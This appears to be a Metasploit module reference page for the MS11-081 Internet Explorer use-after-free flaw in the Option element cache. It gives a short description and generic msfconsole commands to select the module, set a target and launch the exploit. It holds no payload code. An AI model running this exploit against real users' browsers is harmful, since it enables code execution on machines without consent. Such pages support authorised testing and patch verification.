This module exploits a vulnerability in Microsoft Internet Explorer. A memory corruption may occur when the Option cache isn't updated properly, which allows other JavaScript methods to access a deleted Option element, and results in code execution under the context of the user.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/browser/ms11_081_option
msf exploit(ms11_081_option) > show targets
...targets...
msf exploit(ms11_081_option) > set TARGET < target-id >
msf exploit(ms11_081_option) > show options
...show and set options...
msf exploit(ms11_081_option) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
